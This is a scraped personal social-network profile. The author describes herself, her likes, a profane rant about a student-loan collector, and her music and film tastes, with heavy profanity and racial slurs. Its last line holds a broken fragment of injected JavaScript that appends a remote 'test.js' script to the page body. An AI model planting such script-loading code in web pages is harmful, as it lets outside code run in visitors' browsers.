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frazy.com Music / Movies / BooksWell, let's see I'm an Aquarius & that speaks for itself and if it doesn't I speak for myself because speaking is what I do! I am a Speech Communications major. (All that means is I talk a lot!) I love words with a passion b/c they allow me 2 communicate more colorfully/effectively! So, I figure the more of em' I know, the stronger my verbal arsenal,the more powerful my vernacular...the more I can talk-hence this long ass intro(SMILE)! I am ~Black~and~Jewish~(wit a lil' Cubana 4 good measure) and I love culture and diversity! More than that I love the food that comes along with the culture and diversity of living in a multi-ethnic family-Phewww! (All that means is I like to eat!) I keep a cool kick-back positive type of attitude/mentality but i'm way out sumwherez else wit it most of the time-that's why my friends call me S.LOCO, (All that means is i'm crazy!.."evil laugh") I'm more of a social butterfly than a home-body, but I likes to get my chill on too!-(4:19 GOT A MINUTE?) Anyway my view on life, the world, and so forth & so on iz simple....A life without family, friends, love, communication, music, and meaning is not worth living! Yeah... I know, I left out the one about $Money$ -oops Check ya Roots! M-E-S-S-A-G-E!To Know Me... Is To Love Me...or at least that's what they tell me...and if it's not that than it's a lot of "other" things.Mostly good things I think, well I don't know, I ummm-hmmm-yeah, guess maybe you should just.................... COME C ABOUT ME! Holla ~Sara~Kamisha~ O'h ya & my favorite word is 'MUTHAFUCKA'! *U Might Could be One!* Three Things
Three things that scare me:
1 Death
2 Car accident
3 Death by car accident *other than that ...Conforming to societal norms as to appear normal in the eye's of the Realistically Insane a.k.a. my parents Lol!
Three people who make me laugh:
1 ME
2 U
3 People beside me and u! (nah, 4real I laugh at everything)
Three Things I love:
1 Words/Communication
2 Fried Bananas (Platinos/Plantains)
3 CoCo CHANEL Mademoiselle Perfume (abosolutely I swear by it)
Three Things I hate:
1 Felonious Capers a.k.a. LIARS
2 Fake People b.k.a. people who do not keep it REAL!
3 Hot Dogs (ewwww, yucky)
Three things I don't understand:
1 Why people who drink bottled water put tap water ice cubes in their drink??? =ok think about this one people
2 Why people choose to be/stay ignorant to things that they do not understand
3 Anything I don't know I strive to get an understanding of-until then i'll make somethin up =
Three things on my desk:
1 A foot rest!
2 Remote Control (Exxxtra Batteries) Lol!
3 and a Pepsi gotta have my Pepsi
Three things I'm doing right now:
1 ~Sittin'~ Pretty~
2 Eatin some Gummi Bears
3 Being a myspace whore Lol!
Three things I want to do before I die:
1 Have Children
2 Make a difference
3 Confess my sins (ahh,ahh,ahh, they're still mine 4 now)
Three things I can do:
1 I
2 CAN -DO
3 A-N-Y-T-H-I-N-G-!
Three ways to describe my personality:
1 Loco/Crazy/Sexy/Flirty/Smart/Sassy/Quirky/Individual/
2 eccentric/weird/Witty/ Spontaneous/Wild/Caring/Loving/
3 Giving/Forward thinkning/Understanding/All around C-O-O-L!
Three things I can't do:
1 Answer
2 this
3 question!!!
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My Interests

The most important things in my life are Family, Friends, and Fun! This allows me to Love, Live, And Laugh!!!I love to laugh (humor is essential to my being), I love kids, animals, words (they fascinate me-no, really), music (the only thing that keeps me sane), tha outdoors (especially in Iowa), people, talking,talking to people (i.e. communication), style, fashion, cooking, eating, cartoons (my fav's Tom & Jerry), creating, board games (scrabble champ what's up now), colors (my favorite is purple), bowling (even got my own pair of 'special shoes'...how ya like me now), swimming (Aqua-boogie-baby), driving(it calms my nerves believe it or not...unless i'm on the 405 frwy), flying (I prefer window to aisle seats &peanuts to pretzel's), traveling period, thinking, teaching, rocky road ice-cream, butterflies, pictures (taking them & shooting them), tatt's (only 1 so far), piercings, eye's, lips (I'm pretty proud of my own), intelligence (depending on what that is), and did I mention humor(cause im a zip=damn fool)! There are indeed plenty of things that I've left out but they'll become apparent after u've known me for a while...if ya get dat far ;-)
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I'd like to meet:

This punk ass muthf**cca' named Chad that keeps calling at all hours everyday from Iowa Student Loan trying to collect some money that apparently i'm supposed to pull out of my ass to pay my college debts! I tell a mufuccaw like dis..."I paid to go to college and when my college education starts working somewhere-ANYWHERE in life like it's supposed to than you'll get ur money d*cc!!! But that's just who i'd like to meet for today- so come back tomorrow when i'll be welcoming all those who want to contribute to the 'Get Dat Bill Collector Off Sara's Ass' fund. All proceeds will go directly to my bank account and benefit ME-Please send check, cash, money orders, food stamps, coupons, hell i'll take gift certificates. Now anything you can contribute will be greatly appreciated and don't forget..."Although we don't mind the kind of money that jingles we rather have the kind that folds!"--'Coming to America' Lisa Mc'Dowell-- Now Call me again Biatch!Aside from that asshole...I would love to meet all my favorite celebrities.Don't get it twisted I am by NO MEANS a groupie, I just enjoy entertainment and the people who make it all possible. Below is an eclectic collection of pictures that were taken at different times and places in my life with several celebs u might know. I love photography so I always keep a camera cocked & ready...so most of these are just being at the right place at the right time."I repeat I have not slept w/any of these celebrities!" Anyhoo...it started off w/a pic here, a pic there, and turned into a lil thing I like to call "The Celebrity File!" I've met tons & tons of ppl but these are the one's with pics. Look up Sara, say Cheese! Note:If u scroll across pics a caption will appear. Music Video Codes By .. ...

Music:

"Music Makes Me High"--(Lost Boyz 1996)---Without it my soul would die! That prettty much covers anything/everything under the sun-TRY ME!If i'm being comepletely honest...I gotta give it up to my girl Fiona Apple...Mood Music like a mu'fucca!I own all 3. Ya'll don't even know how many situations she done got me thru.The most talented female song artist/musician there is alongside Lauren Hill & Alicia Keys. Lyrically unchallenged or maybe just perfectly mis-understood...You'll either really get her or u REALLY won't~Either way she's it for me!But...I'm a hip-hop-head at heart & I absolutely adore REDMAN! I got a thang for Jersey boyz but Philly boyz can get it too~Holla~ ;)(wink)I own his whole collection (including his EPMD stuff) but stay playin dat Muddy Waters 2 this day. Give a nigga his props! ~Supaman Lova~On dat gangsta shit-talk-spit I gotta go wit my nigga Kurrupt! Tha only other person in this word that genuinely loves tha word "Muthafucka" as much as I do! And... uses it in such an artistic way might I add. That nicca's da muthafuckin bizness when it comes to actin a nut on da mic or at least sounded nuts on da mic-Whichever u decide u can't knock da hustle or da local struggle. WestCoastRepresenta! Throw it up & BANG dat shit! ...

Movies:

"study High...take da test High...get High scores" How High--Starring Redman & Methodman--Of Course! That's just one of many, but that one makes me laugh and laugh every time =)"I'ma ghost,ghost,ghost,ghost,ghost!" "Nucca u r a wolf" "Da skiddd mark of buddah" "Dat shit on ya lip got some shit on its lip" and finally "Light dat shit, smoke dat shit, pass dat shit!" ...

Television:

You'll see me on it someday! ...

Books:

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Heroes:

~ RIGHTEOUS PEOPLE ~ Here, let me define:right·eous(adj.) 1.Morally upright; without guilt or sin: a righteous parishioner. 2.In accordance with virtue or morality: a righteous judgment. 3.Morally justifiable: righteous anger. See Synonyms at moral.n. Righteous people considered as a group. ---[Middle English ryghtuous, alteration of rihtwise, from Old English rihtws : riht, right; see right + -wse, -wise.] ---righteous·ly adv. righteous·ness n.GOTTA DO UR H.W. LADIES & GENTLEMEN Don't get me wrong, we're all sinners but those who strive 4 righteousness are Hero's in my book!.."var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /